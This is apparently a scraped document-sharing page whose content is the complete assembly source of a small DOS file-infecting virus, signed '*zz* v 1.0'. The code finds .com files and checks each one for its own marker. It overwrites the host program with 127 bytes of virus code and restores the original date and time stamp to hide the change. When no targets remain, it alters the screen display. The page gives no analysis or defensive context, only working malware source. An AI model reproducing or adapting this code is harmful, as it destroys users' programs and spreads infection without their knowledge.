Vous êtes sur la page 1sur 2

code segment

assume cs:code, ds:code, es:code, ss:nothing

org 0100h

start: db 8bh,0dbh

mov ah,4eh ;find a file


mov cx,0000h ;
mov dx,offset filemask ;load searchmask, .com

loopy: int 21h

jb effect ;no files, do effect


call infect

jnz exit
mov ah,4fh ;find next file
jmp short loopy
;keep looping around

exit: mov ax,4c00h


int 21h
effect: mov ax,0040h ;no files to infect
mov es,ax ;slant the text on the screen
mov di,004ah
mov al,51h
stosb
int 20h ;and exit

infect: mov ax,3d02h ;open host, r/w with handle


mov dx,009eh

int 21h
xchg ax,bx ;exchange handle to ax
mov ah,3fh ;read from file
mov cx,0002h ;two bytes
mov dx,offset id ;put them in id buffer

int 21h
cmp word ptr ds:[016dh],0db8bh
;compare with virus id
pushf
jz close_file
cwd
mov cx,dx ;
mov ax,4200h ;reset file pointer
;to beginning of file
int 21h
mov al,00h ;
mov ah,57h ;get file date/time

int 21h ;
push cx ;store them
push dx ;
mov ah,40h ;write virus
mov cx,007fh ;to file
mov dx,0100h ;start at beginning

int 21h ;
mov al,01h ;restore file date/time
pop dx ;from the stack
pop cx ;
mov ah,57h ;
int 21h ;
close_file:

mov ah,3eh ;close file


int 21h ;
popf ;
ret ;exit

id: dw 0000h
filemask: db "*.com" ;searchmask
db 00h
db "*zz* v 1.0"

code ends
end start

Vous aimerez peut-être aussi